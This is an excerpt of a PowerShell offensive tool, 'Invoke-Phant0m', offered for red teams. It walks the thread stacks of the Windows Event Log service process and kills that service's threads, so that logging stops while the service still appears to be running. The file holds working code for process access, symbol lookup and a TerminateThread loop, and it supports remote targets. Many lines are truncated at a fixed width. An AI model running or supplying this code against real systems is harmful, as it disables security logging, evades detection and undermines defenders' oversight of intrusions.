1065 lines (941 loc) · 62.8 KB

```
function Invoke-Phant0m {
<#
.SYNOPSIS
This script walks thread stacks of Event Log Service process (spesific svchost.exe) and identify
Event Log Threads to kill Event Log Service Threads. So the system will not be able to collect
logs and at the same time the Event Log Service will appear to be running. I have made this script
for two reasons. First, This script will help to Red Teams and Penetration Testers. Second, I
want to learn Powershell and Low-Level things on Powershell for cyber security field.

.DESCRIPTION
This script using Jesse Davis (https://github.com/secabstraction) Get-ProcessTrace.ps1 scripts as a
infrastructure, https://gist.github.com/secabstraction/508bfd6c0c0809e6d657. Thanks to Ibrahim AKGU
(https://twitter.com/Stre4meR) and Onur ALANBEL (https://twitter.com/onuralanbel) for sharing their
experiences with me.

.EXAMPLE
The following example show sample output and usage the script. Script traces the threads of Event L
Service process and detect threads. After kill all threads about Event Log Service. Scripts needs
Administrator rights on the target system.

PS C:\> Invoke-Phant0m

        _                 _    ___
  _ __ | |__   __ _ _ __ | |_ / _ \ _ __ ___
 | '_ \| '_ \ / _` | '_ \| __| | | | '_ ` _ \
 | |_) | | | | (_| | | | | |_| |_| | | | | | |
 | .__/|_| |_|\__,_|_| |_|\__|\___/|_| |_| |_|
 |_|


[!] I'm here to blur the line between life and death...

[*] Enumerating threads of PID: 1000...
[*] Parsing Event Log Service Threads...
[+] Thread 1001 Succesfully Killed!"
[+] Thread 1002 Succesfully Killed!"
[+] Thread 1003 Succesfully Killed!"
[+] Thread 1004 Succesfully Killed!"

[+] All done, you are ready to go!

.NOTES
Version: 1.0
Author : Halil DALABASMAZ (https://github.com/hlldz, https://twitter.com/hlldz)

#>
[CmdLetBinding()]
    Param(
        [Parameter(Position = 0, ValueFromPipeline = $true)]
        [String[]]$ComputerName,

        [Parameter(ParameterSetName = 'Id')]
        [ValidateNotNullOrEmpty()]
        [Int]$Id = -1
    )

    $intro = @'

        _                 _    ___
  _ __ | |__   __ _ _ __ | |_ / _ \ _ __ ___
 | '_ \| '_ \ / _` | '_ \| __| | | | '_ ` _ \
 | |_) | | | | (_| | | | | |_| |_| | | | | | |
 | .__/|_| |_|\__,_|_| |_|\__|\___/|_| |_| |_|
 |_|

'@

    Write-Host $intro -ForegroundColor Cyan

    Write-Host ""
    Write-Host "[!] I'm here to blur the line between life and death..." -ForegroundColor Cyan
```

```
        Write-Host ""

        $ScriptBlock = {
            Param (
                [Parameter()]
                [String]$Name,

                [Parameter()]
                [Int]$Id
            )
            if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent
                Write-Warning "This script should be ran with administrative privilieges."
            }
            $Domain = [AppDomain]::CurrentDomain
            $DynAssembly = New-Object -TypeName System.Reflection.AssemblyName -ArgumentList ('PowerWal
            $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBui
            $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
            $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

            #region STRUCTS

            #region ENUM ProcessorArch
            $TypeBuilder = $ModuleBuilder.DefineEnum('ProcessorArch', 'Public', [UInt16])
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_INTEL', [UInt16] 0)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_MIPS', [UInt16] 0x01)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA', [UInt16] 0x02)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_PPC', [UInt16] 0x03)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_SHX', [UInt16] 0x04)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ARM', [UInt16] 0x05)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_IA64', [UInt16] 0x06)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_ALPHA64', [UInt16] 0x07)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_AMD64', [UInt16] 0x09)
            [void]$TypeBuilder.DefineLiteral('PROCESSOR_ARCHITECTURE_UNKNOWN', [UInt16] 0xFFFF)
            $Global:ProcessorArch = $TypeBuilder.CreateType()
            #endregion ENUM ProcessorArch

            #region SYSTEM_INFO
            $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldI
            $TypeBuilder = $ModuleBuilder.DefineType('SYSTEM_INFO', $Attributes, [ValueType])
            [void]$TypeBuilder.DefineField('ProcessorArchitecture', $ProcessorArch, 'Public')
            [void]$TypeBuilder.DefineField('Reserved', [Int16], 'Public')
            [void]$TypeBuilder.DefineField('PageSize', [Int32], 'Public')
            [void]$TypeBuilder.DefineField('MinimumApplicationAddress', [IntPtr], 'Public')
            [void]$TypeBuilder.DefineField('MaximumApplicationAddress', [IntPtr], 'Public')
            [void]$TypeBuilder.DefineField('ActiveProcessorMask', [IntPtr], 'Public')
            [void]$TypeBuilder.DefineField('NumberOfProcessors', [Int32], 'Public')
            [void]$TypeBuilder.DefineField('ProcessorType', [Int32], 'Public')
```

```

                    $Symbol = Get-SymbolFromAddress -ProcessHandle $ProcessHandle -Address $StackFrame.
                    $SymbolName = (([String]$Symbol.Name).Replace(' ','')).TrimEnd([Byte]0)

                    $Properties = @{
                        ProcessId  = $ProcessId
                        ThreadId   = $ThreadId
                        AddrPC     = $StackFrame.AddrPC.Offset
                        AddrReturn = $StackFrame.AddrReturn.Offset
                        Symbol     = $SymbolName
                        MappedFile = $MappedFile
                    }
                    New-Object -TypeName PSObject -Property $Properties
                } until ($StackFrame.AddrReturn.Offset -eq 0) # End of stack reached

                # Cleanup
                [Runtime.InteropServices.Marshal]::FreeHGlobal($lpStackFrame)
                [Runtime.InteropServices.Marshal]::FreeHGlobal($lpContextRecord)
                if ($Kernel32::ResumeThread($hThread) -eq -1) { Write-Error "Unable to resume thread $T
                if (!$Kernel32::CloseHandle.Invoke($hThread)) { Write-Error "Unable to close handle for
            }


            Write-Host "[*] Enumerating threads of PID: $(Get-WmiObject -Class win32_service -Filter "r
            foreach ($Process in (Get-Process -Id (Get-WmiObject -Class win32_service -Filter "name = '
                {
                    if (($ProcessHandle = $Kernel32::OpenProcess(0x1F0FFF, $false, $Process.Id)) -eq 0)
                        Write-Error -Message "Unable to open handle for process $($Process.Id)... Movin
                        continue
                    }
                    if (!$Dbghelp::SymInitialize($ProcessHandle, $null, $false)) {
                        Write-Error "Unable to initialize symbol handler for process $($Process.Id)....
                        if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unable to cl
                        break
                    }

                    $Process.Threads | ForEach-Object -Process { Trace-Thread -ProcessHandle $ProcessHa

                    if (!$Dbghelp::SymCleanup($ProcessHandle)) { Write-Error "Unable to cleanup symbol
                    if (!$Kernel32::CloseHandle.Invoke($ProcessHandle)) { Write-Error "Unable to close
                    [GC]::Collect()
                }


        }# End of ScriptBlock

        if ($PSBoundParameters['ComputerName']) { $ReturnedObjects = Invoke-Command -ComputerName $Comp
        else { $ReturnedObjects = Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList @($Name, $Id)

        $eventLogThreads = $ReturnedObjects | Where-Object {$_.MappedFile -like '*evt*'} | %{$_.ThreadI
        Write-Host "[*] Parsing Event Log Service Threads..." -ForegroundColor Yellow

        if(!($eventLogThreads)) {
          Write-Host "[!] There are no Event Log Service Threads, Event Log Service is not working!" -F
          Write-Host "[+] You are ready to go!" -ForegroundColor Green
          Write-Host ""
        }
        else {
            [array]$array = $eventLogThreads

            for ($i = 0; $i -lt $array.Count; $i++) {
                $getThread = $Kernel32::OpenThread(0x0001, $false, $($array[$i]))
                if ($kill = $Kernel32::TerminateThread($getThread, 1)) {Write-Host "[+] Thread $($array
                $close = $Kernel32::CloseHandle($getThread)
            }

            Write-Host ""
            Write-Host "[+] All done, you are ready to go!" -ForegroundColor Green
            Write-Host ""
        }


        [GC]::Collect()
    }
```